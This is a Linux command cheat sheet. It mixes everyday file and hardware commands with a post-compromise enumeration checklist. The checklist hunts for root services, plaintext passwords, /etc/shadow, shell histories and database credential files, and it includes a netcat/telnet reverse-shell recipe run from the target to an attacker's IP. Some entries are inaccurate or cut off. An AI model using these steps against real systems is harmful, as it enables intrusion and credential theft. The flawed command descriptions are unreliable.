|  |  |
| --- | --- |
| **File Commands** | |
| **cd** | Changes directory |
| **ls** | List files in the directory |
| **ls -a** | List all files (shows hidden files) |
| **pwd** | Show directory you are currently working in |
| **mkdir [directory]** | Create a new directory |
| **\*rm [file\_name] \*** | Remove a file |
| **rm -r [directory\_name] or**  **rmdir [directory\_name]** | Remove a directory recursively |
| **rm -rf [directory\_name]** | Recursively remove a directory without requiring confirmation |
| **cp [file\_name1] [file\_name2]** | Copy the contents of one file to another file |
| **cp -r [directory\_name1] [directory\_name2]** | Recursively copy the contents of one file to a second file |
| **mv [file\_name1] [file\_name2]** | Rename file name[file\_name1] to [file\_name2] with the command |
| **mv [filename] /source-path /desti.path** | Move one location to another location |
| **ln -s /path/to/[file\_name] [link\_name]** | Create a symbolic link or soft link to a file |
| **ln [source.file] [Hardlink.file]** | Hardlink(whereas a hard link is a mirror copy of the original file.)  Inode number (11665731 vs 11665731) and file permissions (lrwxrwxrwx vs lrwxrwxrwx) are same.. |
| **ln -l [source.file] [softlink.file]** | Soft Link or Symbolic link soft link is an actual link to the original file.  Inode number (11665731 vs 1526692) and file permissions (lrwxrwxrwx vs -rw-r--r--) are different. |
| **ls -il**  **ls -i** | Display the file inode(identify number) history of file  It’s display only inode number |
| **touch [file\_name]** | Create a new file |
| **clear** | Clears the screen |
| **Hardware Information** | |
| **dmesg** | Show bootup messages |
| **cat /proc/cpuinfo** | See CPU information |
| **free -h** | Display free and used memory with |
| **df**  **df -h** | disk space for file systems usage  disk space for file systems human readable format |
| **du**  **du -h** | disk file space usage  disk usage human readable format |
| **lshw** | List hardware configuration information |
| **lsblk** | See information about block devices |
| **lspci -tv** | Show PCI devices in a tree-like diagram |
| **lsusb -tv** | Display USB devices in a tree-like diagram |
| **dmidecode** | Show hardware information from the BIOS |
| **hdparm -i /dev/disk** | Display disk data information |
| **hdparm -tT /dev/[device]** | Conduct a read-speed test on device/disk |
| **badblocks -s /dev/[device]** | Test for unreadable blocks on device/disk |
| **Operating System** |  |
| **cat /etc/issue**  **cat /etc/\*-release**  **cat /etc/lsb-release** | What's the distribution type? What version? |
| **cat /proc/version**  **uname -a**  **uname -mrs**  **rpm -q kernel**  **dmesg | grep Linux**  **ls /boot | grep vmlinuz-** | What's the kernel version? Is it 64-bit? |
| **cat /etc/profile**  **cat /etc/bashrc**  **cat ~/.bash\_profile**  **cat ~/.bashrc**  **cat ~/.bash\_logout**  **env**  **set** | What can be learnt from the environmental variables |
| **lpstat -a** | Is there a printer? |
| **Applications & Services** | |
| **ps aux**  **ps -ef**  **top**  **cat /etc/services** | What services are running? Which service has which user privilege? |
| **ps aux | grep root**  **ps -ef | grep root** | Which service(s) are been running by root? Of these services, which are vulnerable |
| **ls -alh /usr/bin/**  **ls -alh /sbin/**  **dpkg -l**  **rpm -qa**  **ls -alh /var/cache/apt/archivesO**  **ls -alh /var/cache/yum/** | What applications are installed? What version are they? Are they currently running? |
| **cat /etc/syslog.conf**  **cat /etc/chttp.conf**  **cat /etc/lighttpd.conf**  **cat /etc/cups/cupsd.conf**  **cat /etc/inetd.conf**  **cat /etc/apache2/apache2.conf**  **cat /etc/my.conf**  **cat /etc/httpd/conf/httpd.conf**  **cat /opt/lampp/etc/httpd.conf**  **ls -aRl /etc/ | awk '$1 ~ /^.r./** | Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? |
| **crontab -l**  **ls -alh /var/spool/cron**  **ls -al /etc/ | grep cron**  **ls -al /etc/cron\***  **cat /etc/cron\***  **cat /etc/at.allow**  **cat /etc/at.deny**  **cat /etc/cron.allow**  **cat /etc/cron.deny**  **cat /etc/crontab**  **cat /etc/anacrontab**  **cat /var/spool/cron/crontabs/root** | What jobs are scheduled? |
| **grep -i user [filename]**  **grep -i pass [filename]**  **grep -C 5 "password" [filename]**  **find . -name "\*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla** | Any plain text usernames and/or passwords? |
| **Communications & Networking** | |
| **/sbin/ifconfig -a**  **cat /etc/network/interfaces**  **cat /etc/sysconfig/network** | What NIC(s) does the system have? Is it connected to another network? |
| **cat /etc/resolv.conf**  **cat /etc/sysconfig/network**  **cat /etc/networks**  **iptables -L**  **hostname**  **dnsdomainname** | What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? |
| **lsof -i**  **lsof -i 80**  **grep 80 /etc/services**  **netstat -antup**  **netstat -antpx**  **netstat -tulpn**  **chkconfig --list**  **chkconfig --list | grep 3 on**  **last**  **w** | What other users & hosts are communicating with the system? |
| **arp -e**  **route**  **/sbin/route -nee** | What’s cached? IP and/or MAC addresses |
| **tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21**  **Note tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]**  **Have you got a shell? Can you interact with the system?**  **nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!** | Is packet sniffing possible? What can be seen? Listen to live traffic |
| **id who w last cat /etc/passwd | cut -d -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F '$3 == 0 { print $1}' # List of super users awk -F '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/s** | Confidential Information & Users Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? |
| **cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/** | What sensitive files can be found? |
| **ls -ahlR /root/ ls -ahlR /home/** | Anything "interesting" in the home directorie(s)? If it's possible to access |
| **cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg** | Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords |
| **cat ~/.bash\_history cat ~/.nano\_history cat ~/.atftp\_history cat ~/.mysql\_history cat ~/.php\_history** | What has the user being doing? Is there any password in plain text? What have they been editing? |
| **cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root** | What user information can be found? |
| **wc [filename]** | showing count of the total number of lines, words, and characters contained in a file  **output 2 19 103 [filename]**  **First Column** − Represents the total number of lines in the file.  **Second Column** − Represents the total number of words in the file.  **Third Column** − Represents the total number of bytes in the file. This is the actual size of the file.  **Fourth Column** − Represents the file name |
| **ping hostname or ip-address** | Testing, measuring, and managing network OR Tracking and isolating hardware and software problems |
| **nslookup [domain name]** | this command to find the address record for a domain |
| **top** | statistics of CPU utilization by different processes |
| **cat /proc/meminfo** | cpu memeory details |
| **watch -n 1 ls -larth** | watching folder per one second, if you want 5 second change you can do. |
| **sudo update-alternatives --config java** | change your verisoning of java |
| **env** | showing environment variables on your system |
| **netstat -tupln** | Checking the active ports internet connections |